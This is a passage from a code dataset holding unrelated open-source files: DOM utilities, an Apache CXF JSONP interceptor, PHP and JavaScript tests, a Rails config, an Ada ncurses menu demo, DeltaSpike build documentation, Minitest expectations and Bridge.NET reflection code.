}\n}\n\n/**\n * Create an element, optionally with a known namespace URI.\n *\n * @param {string} name the element name, e.g. 'div' or 'svg'\n * @param {string} [namespaceURI] the element's namespace URI, i.e. the value of\n * its `xmlns` attribute or its inferred namespace.\n *\n * @return {Element}\n */\nexport function createElementNS(name, namespaceURI) {\n return !namespaceURI || namespaceURI === NS_XHTML ?\n doc.createElement(name) :\n doc.createElementNS(namespaceURI, name);\n}\n\n/**\n * Copies the children of one DOM element to another DOM element\n */\nexport function moveChildren(fromEl, toEl) {\n var curChild = fromEl.firstChild;\n while (curChild) {\n var nextChild = curChild.nextSibling;\n toEl.appendChild(curChild);\n curChild = nextChild;\n }\n return toEl;\n}\n"} {"text": "蛍\n"} {"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.apache.cxf.jaxrs.provider.jsonp;\n\nimport java.io.IOException;\nimport java.nio.charset.StandardCharsets;\n\nimport javax.ws.rs.WebApplicationException;\nimport javax.ws.rs.ext.WriterInterceptor;\nimport javax.ws.rs.ext.WriterInterceptorContext;\n\nimport org.apache.cxf.common.util.StringUtils;\nimport org.apache.cxf.jaxrs.utils.JAXRSUtils;\nimport org.apache.cxf.message.Exchange;\nimport org.apache.cxf.message.Message;\n\n/**\n * Appends the jsonp callback to json responses when the '_jsonp' parameter has been set in the querystring.\n */\npublic class JsonpJaxrsWriterInterceptor implements WriterInterceptor {\n\n private String mediaType = JsonpInInterceptor.JSONP_TYPE;\n private String paddingEnd = \"(\";\n\n public JsonpJaxrsWriterInterceptor() {\n }\n\n @Override\n public void aroundWriteTo(WriterInterceptorContext context) throws IOException, WebApplicationException {\n String callback = getCallbackValue(JAXRSUtils.getCurrentMessage());\n if (!StringUtils.isEmpty(callback)) {\n context.getHeaders().putSingle(Message.CONTENT_TYPE,\n JAXRSUtils.toMediaType(getMediaType()));\n context.getOutputStream().write((callback + getPaddingEnd()).getBytes(StandardCharsets.UTF_8));\n }\n context.proceed();\n }\n\n public void setMediaType(String mediaType) {\n this.mediaType = mediaType;\n }\n\n public String getMediaType() {\n return mediaType;\n }\n\n public void setPaddingEnd(String paddingEnd) {\n this.paddingEnd = paddingEnd;\n }\n\n public String getPaddingEnd() {\n return paddingEnd;\n }\n\n protected String getCallbackValue(Message message) {\n Exchange exchange = message.getExchange();\n return (String) exchange.get(JsonpInInterceptor.CALLBACK_KEY);\n }\n\n\n\n}\n"} {"text": "<?php\ndeclare(strict_types=1);\n\nnamespace Fc2blog\\Tests\\App\\Controller\\Admin\\BlogSettings;\n\nuse Fc2blog\\Tests\\DBHelper;\nuse Fc2blog\\Tests\\Helper\\ClientTrait;\nuse Fc2blog\\Web\\Controller\\Admin\\BlogSettingsController;\nuse Fc2blog\\Web\\Request;\nuse Fc2blog\\Web\\Session;\nuse PHPUnit\\Framework\\TestCase;\n\nclass EntryEditTest extends TestCase\n{\n use ClientTrait;\n\n public function testInfoForm(): void\n {\n DBHelper::clearDbAndInsertFixture();\n Session::destroy(new Request());\n $this->resetSession();\n $this->resetCookie();\n $this->mergeAdminSession();\n\n $c = $this->reqGet(\"/admin/blog_settings/entry_edit\");\n $this->assertInstanceOf(BlogSettingsController::class, $c);\n $this->assertEquals(\"entry_edit\", $c->getResolvedMethod());\n\n $d = $c->getRequest()->get('blog_setting');\n// var_export($d);\n\n $this->assertEquals(5, $d['entry_display_count']);\n // todo チェック項目増やすと良い\n }\n\n public function testUpdateInfo(): void\n {\n DBHelper::clearDbAndInsertFixture();\n Session::destroy(new Request());\n $this->resetSession();\n $this->resetCookie();\n $this->mergeAdminSession();\n $sig = $this->getSig();\n\n $request_data = [\n 'blog_setting' => [ // not \"blog_settings\", actual \"blog_setting\". take care!!\n 'entry_recent_display_count' => '10',\n 'entry_display_count' => '10',\n 'entry_order' => '1',\n 'entry_password' => ''\n ],\n 'sig' => $sig\n ];\n\n $r = $this->reqPostBeRedirect(\"/admin/blog_settings/entry_edit\", $request_data);\n $this->assertEquals('/admin/blog_settings/entry_edit', $r->redirectUrl);\n\n $c = $this->reqGet(\"/admin/blog_settings/entry_edit\");\n $d = $c->getRequest()->get('blog_setting');\n\n $this->assertEquals(10, $d['entry_recent_display_count']);\n $this->assertEquals(10, $d['entry_display_count']);\n // todo チェック項目増やすと良い\n }\n}\n"} {"text": "Dashboard::Application.configure do\n # Settings specified here will take precedence over those in config/application.rb.\n\n # In the development environment your application's code is reloaded on\n # every request. This slows down response time but is perfect for development\n # since you don't have to restart the web server when you make code changes.\n config.cache_classes = false\n\n # Do not eager load code on boot.\n config.eager_load = false\n\n # Show full error reports and disable caching.\n config.consider_all_requests_local = true\n config.action_controller.perform_caching = false\n\n # Don't care if the mailer can't send.\n config.action_mailer.raise_delivery_errors = false\n\n # Print deprecation notices to the Rails logger.\n config.active_support.deprecation = :log\n\n\n # Debug mode disables concatenation and preprocessing of assets.\n # This option may cause significant delays in view rendering with a large\n # number of complex assets.\n config.assets.debug = true\nend\n"} {"text": "------------------------------------------------------------------------------\n-- --\n-- GNAT ncurses Binding Samples --\n-- --\n-- Sample.Menu_Demo --\n-- --\n-- B O D Y --\n-- --\n------------------------------------------------------------------------------\n-- Copyright (c) 1998-2008,2011 Free Software Foundation, Inc. --\n-- --\n-- Permission is hereby granted, free of charge, to any person obtaining a --\n-- copy of this software and associated documentation files (the --\n-- \"Software\"), to deal in the Software without restriction, including --\n-- without limitation the rights to use, copy, modify, merge, publish, --\n-- distribute, distribute with modifications, sublicense, and/or sell --\n-- copies of the Software, and to permit persons to whom the Software is --\n-- furnished to do so, subject to the following conditions: --\n-- --\n-- The above copyright notice and this permission notice shall be included --\n-- in all copies or substantial portions of the Software. --\n-- --\n-- THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS --\n-- OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF --\n-- MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. --\n-- IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, --\n-- DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR --\n-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR --\n-- THE USE OR OTHER DEALINGS IN THE SOFTWARE. --\n-- --\n-- Except as contained in this notice, the name(s) of the above copyright --\n-- holders shall not be used in advertising or otherwise to promote the --\n-- sale, use or other dealings in this Software without prior written --\n-- authorization. --\n------------------------------------------------------------------------------\n-- Author: Juergen Pfeifer, 1996\n-- Version Control\n-- $Revision: 1.19 $\n-- $Date: 2011/03/23 00:44:12 $\n-- Binding Version 01.00\n------------------------------------------------------------------------------\nwith Terminal_Interface.Curses; use Terminal_Interface.Curses;\nwith Terminal_Interface.Curses.Panels; use Terminal_Interface.Curses.Panels;\nwith Terminal_Interface.Curses.Menus; use Terminal_Interface.Curses.Menus;\nwith Terminal_Interface.Curses.Menus.Menu_User_Data;\nwith Terminal_Interface.Curses.Menus.Item_User_Data;\n\nwith Sample.Manifest; use Sample.Manifest;\nwith Sample.Function_Key_Setting; use Sample.Function_Key_Setting;\nwith Sample.Menu_Demo.Handler;\nwith Sample.Helpers; use Sample.Helpers;\nwith Sample.Explanation; use Sample.Explanation;\n\npackage body Sample.Menu_Demo is\n\n package Spacing_Demo is\n procedure Spacing_Test;\n end Spacing_Demo;\n\n package body Spacing_Demo is\n\n procedure Spacing_Test\n is\n function My_Driver (M : Menu;\n K : Key_Code;\n P : Panel) return Boolean;\n\n procedure Set_Option_Key;\n procedure Set_Select_Key;\n procedure Set_Description_Key;\n procedure Set_Hide_Key;\n\n package Mh is new Sample.Menu_Demo.Handler (My_Driver);\n\n I : Item_Array_Access := new Item_Array'\n (New_Item (\"January\", \"31 Days\"),\n New_Item (\"February\", \"28/29 Days\"),\n New_Item (\"March\", \"31 Days\"),\n New_Item (\"April\", \"30 Days\"),\n New_Item (\"May\", \"31 Days\"),\n New_Item (\"June\", \"30 Days\"),\n New_Item (\"July\", \"31 Days\"),\n New_Item (\"August\", \"31 Days\"),\n New_Item (\"September\", \"30 Days\"),\n New_Item (\"October\", \"31 Days\"),\n New_Item (\"November\", \"30 Days\"),\n New_Item (\"December\", \"31 Days\"),\n Null_Item);\n\n M : Menu := New_Menu (I);\n Flip_State : Boolean := True;\n Hide_Long : Boolean := False;\n\n type Format_Code is (Four_By_1, Four_By_2, Four_By_3);\n type Operations is (Flip, Reorder, Reformat, Reselect, Describe);\n\n type Change is array (Operations) of Boolean;\n pragma Pack (Change);\n No_Change : constant Change := Change'(others => False);\n\n Current_Format : Format_Code := Four_By_1;\n To_Change : Change := No_Change;\n\n function My_Driver (M : Menu;\n K : Key_Code;\n P : Panel) return Boolean\n is\n begin\n if M = Null_Menu then\n raise Menu_Exception;\n end if;\n if P = Null_Panel then\n raise Panel_Exception;\n end if;\n To_Change := No_Change;\n if K in User_Key_Code'Range then\n if K = QUIT then\n return True;\n end if;\n end if;\n if K in Special_Key_Code'Range then\n case K is\n when Key_F4 =>\n To_Change (Flip) := True;\n return True;\n when Key_F5 =>\n To_Change (Reformat) := True;\n Current_Format := Four_By_1;\n return True;\n when Key_F6 =>\n To_Change (Reformat) := True;\n Current_Format := Four_By_2;\n return True;\n when Key_F7 =>\n To_Change (Reformat) := True;\n Current_Format := Four_By_3;\n return True;\n when Key_F8 =>\n To_Change (Reorder) := True;\n return True;\n when Key_F9 =>\n To_Change (Reselect) := True;\n return True;\n when Key_F10 =>\n if Current_Format /= Four_By_3 then\n To_Change (Describe) := True;\n return True;\n else\n return False;\n end if;\n when Key_F11 =>\n Hide_Long := not Hide_Long;\n declare\n O : Item_Option_Set;\n begin\n for J in I'Range loop\n Get_Options (I.all (J), O);\n O.Selectable := True;\n if Hide_Long then\n case J is\n when 1 | 3 | 5 | 7 | 8 | 10 | 12 =>\n O.Selectable := False;\n when others => null;\n end case;\n end if;\n Set_Options (I.all (J), O);\n end loop;\n end;\n return False;\n when others => null;\n end case;\n end if;\n return False;\n end My_Driver;\n\n procedure Set_Option_Key\n is\n O : Menu_Option_Set;\n begin\n if Current_Format = Four_By_1 then\n Set_Soft_Label_Key (8, \"\");\n else\n Get_Options (M, O);\n if O.Row_Major_Order then\n Set_Soft_Label_Key (8, \"O-Col\");\n else\n Set_Soft_Label_Key (8, \"O-Row\");\n end if;\n end if;\n Refresh_Soft_Label_Keys_Without_Update;\n end Set_Option_Key;\n\n procedure Set_Select_Key\n is\n O : Menu_Option_Set;\n begin\n Get_Options (M, O);\n if O.One_Valued then\n Set_Soft_Label_Key (9, \"Multi\");\n else\n Set_Soft_Label_Key (9, \"Singl\");\n end if;\n Refresh_Soft_Label_Keys_Without_Update;\n end Set_Select_Key;\n\n procedure Set_Description_Key\n is\n O : Menu_Option_Set;\n begin\n if Current_Format = Four_By_3 then\n Set_Soft_Label_Key (10, \"\");\n else\n Get_Options (M, O);\n if O.Show_Descriptions then\n Set_Soft_Label_Key (10, \"-Desc\");\n else\n Set_Soft_Label_Key (10, \"+Desc\");\n end if;\n end if;\n Refresh_Soft_Label_Keys_Without_Update;\n end Set_Description_Key;\n\n procedure Set_Hide_Key\n is\n begin\n if Hide_Long then\n Set_Soft_Label_Key (11, \"Enab\");\n else\n Set_Soft_Label_Key (11, \"Disab\");\n end if;\n Refresh_Soft_Label_Keys_Without_Update;\n end Set_Hide_Key;\n\n begin\n Push_Environment (\"MENU01\");\n Notepad (\"MENU-PAD01\");\n Default_Labels;\n Set_Soft_Label_Key (4, \"Flip\");\n Set_Soft_Label_Key (5, \"4x1\");\n Set_Soft_Label_Key (6, \"4x2\");\n Set_Soft_Label_Key (7, \"4x3\");\n Set_Option_Key;\n Set_Select_Key;\n Set_Description_Key;\n Set_Hide_Key;\n\n Set_Format (M, 4, 1);\n loop\n Mh.Drive_Me (M);\n exit when To_Change = No_Change;\n if To_Change (Flip) then\n if Flip_State then\n Flip_State := False;\n Set_Spacing (M, 3, 2, 0);\n else\n Flip_State := True;\n Set_Spacing (M);\n end if;\n elsif To_Change (Reformat) then\n case Current_Format is\n when Four_By_1 => Set_Format (M, 4, 1);\n when Four_By_2 => Set_Format (M, 4, 2);\n when Four_By_3 =>\n declare\n O : Menu_Option_Set;\n begin\n Get_Options (M, O);\n O.Show_Descriptions := False;\n Set_Options (M, O);\n Set_Format (M, 4, 3);\n end;\n end case;\n Set_Option_Key;\n Set_Description_Key;\n elsif To_Change (Reorder) then\n declare\n O : Menu_Option_Set;\n begin\n Get_Options (M, O);\n O.Row_Major_Order := not O.Row_Major_Order;\n Set_Options (M, O);\n Set_Option_Key;\n end;\n elsif To_Change (Reselect) then\n declare\n O : Menu_Option_Set;\n begin\n Get_Options (M, O);\n O.One_Valued := not O.One_Valued;\n Set_Options (M, O);\n Set_Select_Key;\n end;\n elsif To_Change (Describe) then\n declare\n O : Menu_Option_Set;\n begin\n Get_Options (M, O);\n O.Show_Descriptions := not O.Show_Descriptions;\n Set_Options (M, O);\n Set_Description_Key;\n end;\n else\n null;\n end if;\n end loop;\n Set_Spacing (M);\n\n Pop_Environment;\n pragma Assert (Get_Index (Items (M, 1)) = Get_Index (I (1)));\n Delete (M);\n Free (I, True);\n end Spacing_Test;\n end Spacing_Demo;\n\n procedure Demo\n is\n -- We use this datatype only to test the instantiation of\n -- the Menu_User_Data generic package. No functionality\n -- behind it.\n type User_Data is new Integer;\n type User_Data_Access is access User_Data;\n\n -- Those packages are only instantiated to test the usability.\n -- No real functionality is shown in the demo.\n package MUD is new Menu_User_Data (User_Data, User_Data_Access);\n package IUD is new Item_User_Data (User_Data, User_Data_Access);\n\n function My_Driver (M : Menu;\n K : Key_Code;\n P : Panel) return Boolean;\n\n package Mh is new Sample.Menu_Demo.Handler (My_Driver);\n\n Itm : Item_Array_Access := new Item_Array'\n (New_Item (\"Menu Layout Options\"),\n New_Item (\"Demo of Hook functions\"),\n Null_Item);\n M : Menu := New_Menu (Itm);\n\n U1 : constant User_Data_Access := new User_Data'(4711);\n U2 : User_Data_Access;\n U3 : constant User_Data_Access := new User_Data'(4712);\n U4 : User_Data_Access;\n\n function My_Driver (M : Menu;\n K : Key_Code;\n P : Panel) return Boolean\n is\n Idx : constant Positive := Get_Index (Current (M));\n begin\n if K in User_Key_Code'Range then\n if K = QUIT then\n return True;\n elsif K = SELECT_ITEM then\n if Idx in Itm'Range then\n Hide (P);\n Update_Panels;\n end if;\n case Idx is\n when 1 => Spacing_Demo.Spacing_Test;\n when others => Not_Implemented;\n end case;\n if Idx in Itm'Range then\n Top (P);\n Show (P);\n Update_Panels;\n Update_Screen;\n end if;\n end if;\n end if;\n return False;\n end My_Driver;\n begin\n Push_Environment (\"MENU00\");\n Notepad (\"MENU-PAD00\");\n Default_Labels;\n Refresh_Soft_Label_Keys_Without_Update;\n Set_Pad_Character (M, '|');\n\n MUD.Set_User_Data (M, U1);\n IUD.Set_User_Data (Itm.all (1), U3);\n\n Mh.Drive_Me (M);\n\n MUD.Get_User_Data (M, U2);\n pragma Assert (U1 = U2 and U1.all = 4711);\n\n IUD.Get_User_Data (Itm.all (1), U4);\n pragma Assert (U3 = U4 and U3.all = 4712);\n\n Pop_Environment;\n Delete (M);\n Free (Itm, True);\n end Demo;\n\nend Sample.Menu_Demo;\n"} {"text": "= Build and Test DeltaSpike from Source\n\n:Notice: Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at. http://www.apache.org/licenses/LICENSE-2.0 . Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n\nThe DeltaSpike source (modules and examples) is provided for inspection, contribution and testing purposes. The source must be built with Maven, which has been used to automate the compilation, testing and packaging processes. Arquillian tests are included with the source and a CDI implementation or container can be specified with which to carry out the tests.\n\nIn all cases, to obtain the DeltaSpike source, link:https://deltaspike.apache.org/download.html[download] `deltaspike-project-{latestStable}-source-release.zip` and extract the contents.\n\t\nNOTE: You can also obtain the DeltaSpike source from the project Git repository. The repository is subject to change and it can be used for contributing but should not be used in production environments. For more information, see <<source#,Contribute to the DeltaSpike Source>>. \n\n== Build without CDI Implementation Tests\nDeltaSpike can be built without executing tests against a CDI implementation, with the following commands:\n\n[source,shell,subs=\"+attributes\"]\n----\n$ cd /path/to/deltaspike-project-{latestStable}/\n$ mvn clean install\n----\n\n== Build and Test with a CDI Implementation\nTests can be executed with both the JBoss Weld and Apache OpenWebBeans CDI implementations. \n\n[cols=\"1,2a\", options=\"header\"]\n.Build Tests\n|===\n|Container |Command to Execute Arquillian Tests\n\n|JBoss Weld 1.x (CDI 1.0)\n|\n[source,shell]\n----\n$ mvn clean install -PWeld1 -Dweld.version=1.1.33.Final\n----\n\n|JBoss Weld 2.x (CDI 1.2)\n|\n[source,shell]\n----\n$ mvn clean install -PWeld2 -Dweld.version=2.3.4.Final\n----\n\n|JBoss Weld 3.x (CDI 2.0)\n|\n[source,shell]\n----\n$ mvn clean install -PWeld3 -Dweld.version=3.0.0.Alpha16\n----\n\n|Apache OpenWebBeans\n|\n[source,shell]\n----\n$ mvn clean install -POWB\n----\n|===\n\n== Build and Test with a CDI Container\nTests can be executed with JBoss Weld and Apache OpenWebBeans through Java EE 6+ application servers and containers. Configurations are currently provided as details in the table here. \n\n[cols=\"2,3a\", options=\"header\"]\n.Integration Tests\n|===\n|Container |Command to Execute Arquillian Tests\n\n|Apache TomEE\n|\n[source,shell]\n----\n$ mvn clean install -Ptomee-build-managed\n----\n\n|JBoss AS7 (without AS7 installation)\n|\n[source,shell]\n----\n$ mvn clean install -Pjbossas-build-managed-7\n----\n\n|JBoss AS7 (AS7 installation required)\n|Set `JBoss_HOME`\n\n[source,shell]\n----\n$ mvn clean install -Pjbossas-managed-7 \n----\n\n|JBoss WildFly 8 (without WildFly 8 installation)\n|\n[source,shell]\n----\nmvn clean install -Pwildfly-build-managed\n----\n\n|JBoss WildFly 8 (WildFly 8 installation required)\n|Set `WILDFLY_HOME`\n\n[source,shell]\n----\n$ mvn clean install -Pwildfly-managed\n----\n\n|Oracle GlassFish 3 (without GlassFish 3 installation)\n|\n[source,shell]\n----\nmvn clean install -Pglassfish-build-managed-3\n----\n\n|Oracle GlassFish 3.1 (GlassFish 3.1 installation required)\n|Install GlassFish (default setup without admin-password) and start\nGlassFish with `asadmin start-domain` and `asadmin start-database`.\n\n[source,shell]\n----\n$ mvn clean install -Pglassfish-remote-3.1\n----\n\n|Oracle GlassFish 4 (without Oracle GlassFish 4 installation)\n|\n[source,shell]\n----\nmvn clean install -Pglassfish-build-managed-4\n----\n\n|Oracle WebLogic 12c\n|Install WebLogic 12c. Start Configuration Wizard to create a new basic\nWebLogic Domain. Default options and domain name = base_domain,\nadministrator user name = weblogic1, administrator password = weblogic1.\nSet `WLS_HOME` so that `%WLS_HOME%.jar` exists. Start the domain.\n\n[source,shell]\n----\n$ mvn clean install -Pwls-remote-12c\n----\n|===\n\n== Build and Debug with a Java EE6+ application servers\nTests can be debugged through Java EE 6+ application servers. Configurations are currently provided as details in the table here.\n\n[cols=\"2,3a\", options=\"header\"]\n.Integration Tests with debug\n|===\n|Container |Command to Execute Arquillian Tests with remote debugging\n\n|Apache TomEE\n|Use remote debuggig at port 5005\n\n[source,shell]\n----\nmvn test -Ptomee-build-managed -Dtest=UnitTestName -Dopenejb.server.debug=true\n----\n\n|===\n\n== Next\n* For analysis of the DeltaSpike source, see https://analysis.apache.org/dashboard/index/org.apache.deltaspike:deltaspike-project\n* For information about DeltaSpike automated Jenkins builds, see https://builds.apache.org/view/A-D/view/DeltaSpike/\n\n"} {"text": "/*-\n * #%L\n * rapidoid-commons\n * %%\n * Copyright (C) 2014 - 2020 Nikolche Mihajlovski and contributors\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n */\n\npackage org.rapidoid.annotation;\n\nimport java.lang.annotation.Documented;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.Target;\n\nimport static java.lang.annotation.ElementType.METHOD;\nimport static java.lang.annotation.RetentionPolicy.RUNTIME;\n\n@Target({METHOD})\n@Retention(RUNTIME)\n@Authors(\"Nikolche Mihajlovski\")\n@Since(\"5.1.0\")\n@Documented\npublic @interface PATCH {\n\n /**\n * Alias of the uri() attribute.\n */\n String value() default \"\";\n\n /**\n * Alias of the value() attribute.\n */\n String uri() default \"\";\n\n}\n"} {"text": "##\n# It's where you hide your \"assertions\".\n#\n# Please note, because of the way that expectations are implemented,\n# all expectations (eg must_equal) are dependent upon a thread local\n# variable +:current_spec+. If your specs rely on mixing threads into\n# the specs themselves, you're better off using assertions. For\n# example:\n#\n# it \"should still work in threads\" do\n# my_threaded_thingy do\n# (1+1).must_equal 2 # bad\n# assert_equal 2, 1+1 # good\n# end\n# end\n\nmodule Minitest::Expectations\n ##\n # See Minitest::Assertions#assert_empty.\n #\n # collection.must_be_empty\n #\n # :method: must_be_empty\n\n infect_an_assertion :assert_empty, :must_be_empty, :unary\n\n ##\n # See Minitest::Assertions#assert_equal\n #\n # a.must_equal b\n #\n # :method: must_equal\n\n infect_an_assertion :assert_equal, :must_equal\n\n ##\n # See Minitest::Assertions#assert_in_delta\n #\n # n.must_be_close_to m [, delta]\n #\n # :method: must_be_close_to\n\n infect_an_assertion :assert_in_delta, :must_be_close_to\n\n alias :must_be_within_delta :must_be_close_to # :nodoc:\n\n ##\n # See Minitest::Assertions#assert_in_epsilon\n #\n # n.must_be_within_epsilon m [, epsilon]\n #\n # :method: must_be_within_epsilon\n\n infect_an_assertion :assert_in_epsilon, :must_be_within_epsilon\n\n ##\n # See Minitest::Assertions#assert_includes\n #\n # collection.must_include obj\n #\n # :method: must_include\n\n infect_an_assertion :assert_includes, :must_include, :reverse\n\n ##\n # See Minitest::Assertions#assert_instance_of\n #\n # obj.must_be_instance_of klass\n #\n # :method: must_be_instance_of\n\n infect_an_assertion :assert_instance_of, :must_be_instance_of\n\n ##\n # See Minitest::Assertions#assert_kind_of\n #\n # obj.must_be_kind_of mod\n #\n # :method: must_be_kind_of\n\n infect_an_assertion :assert_kind_of, :must_be_kind_of\n\n ##\n # See Minitest::Assertions#assert_match\n #\n # a.must_match b\n #\n # :method: must_match\n\n infect_an_assertion :assert_match, :must_match\n\n ##\n # See Minitest::Assertions#assert_nil\n #\n # obj.must_be_nil\n #\n # :method: must_be_nil\n\n infect_an_assertion :assert_nil, :must_be_nil, :unary\n\n ##\n # See Minitest::Assertions#assert_operator\n #\n # n.must_be :<=, 42\n #\n # This can also do predicates:\n #\n # str.must_be :empty?\n #\n # :method: must_be\n\n infect_an_assertion :assert_operator, :must_be, :reverse\n\n ##\n # See Minitest::Assertions#assert_output\n #\n # proc { ... }.must_output out_or_nil [, err]\n #\n # :method: must_output\n\n infect_an_assertion :assert_output, :must_output\n\n ##\n # See Minitest::Assertions#assert_raises\n #\n # proc { ... }.must_raise exception\n #\n # :method: must_raise\n\n infect_an_assertion :assert_raises, :must_raise\n\n ##\n # See Minitest::Assertions#assert_respond_to\n #\n # obj.must_respond_to msg\n #\n # :method: must_respond_to\n\n infect_an_assertion :assert_respond_to, :must_respond_to, :reverse\n\n ##\n # See Minitest::Assertions#assert_same\n #\n # a.must_be_same_as b\n #\n # :method: must_be_same_as\n\n infect_an_assertion :assert_same, :must_be_same_as\n\n ##\n # See Minitest::Assertions#assert_silent\n #\n # proc { ... }.must_be_silent\n #\n # :method: must_be_silent\n\n infect_an_assertion :assert_silent, :must_be_silent\n\n ##\n # See Minitest::Assertions#assert_throws\n #\n # proc { ... }.must_throw sym\n #\n # :method: must_throw\n\n infect_an_assertion :assert_throws, :must_throw\n\n ##\n # See Minitest::Assertions#refute_empty\n #\n # collection.wont_be_empty\n #\n # :method: wont_be_empty\n\n infect_an_assertion :refute_empty, :wont_be_empty, :unary\n\n ##\n # See Minitest::Assertions#refute_equal\n #\n # a.wont_equal b\n #\n # :method: wont_equal\n\n infect_an_assertion :refute_equal, :wont_equal\n\n ##\n # See Minitest::Assertions#refute_in_delta\n #\n # n.wont_be_close_to m [, delta]\n #\n # :method: wont_be_close_to\n\n infect_an_assertion :refute_in_delta, :wont_be_close_to\n\n alias :wont_be_within_delta :wont_be_close_to # :nodoc:\n\n ##\n # See Minitest::Assertions#refute_in_epsilon\n #\n # n.wont_be_within_epsilon m [, epsilon]\n #\n # :method: wont_be_within_epsilon\n\n infect_an_assertion :refute_in_epsilon, :wont_be_within_epsilon\n\n ##\n # See Minitest::Assertions#refute_includes\n #\n # collection.wont_include obj\n #\n # :method: wont_include\n\n infect_an_assertion :refute_includes, :wont_include, :reverse\n\n ##\n # See Minitest::Assertions#refute_instance_of\n #\n # obj.wont_be_instance_of klass\n #\n # :method: wont_be_instance_of\n\n infect_an_assertion :refute_instance_of, :wont_be_instance_of\n\n ##\n # See Minitest::Assertions#refute_kind_of\n #\n # obj.wont_be_kind_of mod\n #\n # :method: wont_be_kind_of\n\n infect_an_assertion :refute_kind_of, :wont_be_kind_of\n\n ##\n # See Minitest::Assertions#refute_match\n #\n # a.wont_match b\n #\n # :method: wont_match\n\n infect_an_assertion :refute_match, :wont_match\n\n ##\n # See Minitest::Assertions#refute_nil\n #\n # obj.wont_be_nil\n #\n # :method: wont_be_nil\n\n infect_an_assertion :refute_nil, :wont_be_nil, :unary\n\n ##\n # See Minitest::Assertions#refute_operator\n #\n # n.wont_be :<=, 42\n #\n # This can also do predicates:\n #\n # str.wont_be :empty?\n #\n # :method: wont_be\n\n infect_an_assertion :refute_operator, :wont_be, :reverse\n\n ##\n # See Minitest::Assertions#refute_respond_to\n #\n # obj.wont_respond_to msg\n #\n # :method: wont_respond_to\n\n infect_an_assertion :refute_respond_to, :wont_respond_to, :reverse\n\n ##\n # See Minitest::Assertions#refute_same\n #\n # a.wont_be_same_as b\n #\n # :method: wont_be_same_as\n\n infect_an_assertion :refute_same, :wont_be_same_as\nend\n"} {"text": "define([\n 'geomnode',\n 'geometrygraph',\n 'graphapi'\n ],\n function(GeomNode, GeometryGraph, API) {\n\n describe('Graph API', function() {\n\n it('can read a geometry graph', function() {\n\n var p1 = new GeomNode.Point({});\n var p2 = new GeomNode.Point({});\n var p3 = new GeomNode.Polyline({});\n\n var serializedGraph = {\n edges: {\n '939c03b': ['5db75d9', '2349391'],\n },\n vertices: ['5db75d9', '2349391', '939c03b']\n };\n var hashesToVertices = {\n '5db75d9' : GeomNode.strip(p1),\n '2349391' : GeomNode.strip(p2),\n '939c03b' : GeomNode.strip(p3),\n };\n\n var graph = API.loadGraph(serializedGraph, hashesToVertices);\n assert.isObject(graph);\n\n var p1b = graph.vertexById(p1.id);\n var p2b = graph.vertexById(p2.id);\n var p3b = graph.vertexById(p3.id);\n\n assert.isObject(p1b);\n assert.isObject(p2b);\n assert.isObject(p3b);\n\n });\n\n it('can create the OBJ file for an empty graph', function() {\n\n var serializedGraph = '{\"vertices\":[],\"edges\":{}}';\n var hashesToVertices = '{}';\n API.toOBJ(JSON.parse(serializedGraph), JSON.parse(hashesToVertices));\n\n });\n\n it('can hash an object', function() {\n var a1 = {\n id: 'point0',\n editing: true, // should be ignored\n parameters: {x: 1},\n extras11nFields: [],\n };\n var a2 = {\n id: 'point0',\n editing: true, // should be ignored\n parameters: {x: 1},\n extras11nFields: [],\n };\n\n var hash1 = API.hashObject(a1);\n var hash2 = API.hashObject(a2);\n\n assert.equal(hash1, hash2);\n\n var graph = {vertices: {}, edges: {}};\n assert.equal(API.hashObject(graph), '25b0c891023305ca0d7fd094ffad5196708a8f9c');\n });\n\n });\n\n });\n"} {"text": " Bridge.define(\"System.Reflection.ParameterModifier\", {\n $kind: \"struct\",\n statics: {\n methods: {\n getDefaultValue: function () { return new System.Reflection.ParameterModifier(); }\n }\n },\n fields: {\n _byRef: null\n },\n ctors: {\n $ctor1: function (parameterCount) {\n this.$initialize();\n if (parameterCount <= 0) {\n throw new System.ArgumentException.$ctor1(\"Must specify one or more parameters.\");\n }\n\n this._byRef = System.Array.init(parameterCount, false, System.Boolean);\n },\n ctor: function () {\n this.$initialize();\n }\n },\n methods: {\n getItem: function (index) {\n return this._byRef[System.Array.index(index, this._byRef)];\n },\n setItem: function (index, value) {\n this._byRef[System.Array.index(index, this._byRef)] = value;\n },\n getHashCode: function () {\n var h = Bridge.addHash([6723435274, this._byRef]);\n return h;\n },\n equals: function (o) {\n if (!Bridge.is(o, System.Reflection.ParameterModifier)) {\n return false;\n }\n return Bridge.equals(this._byRef, o._byRef);\n },\n $clone: function (to) {\n var s = to || new 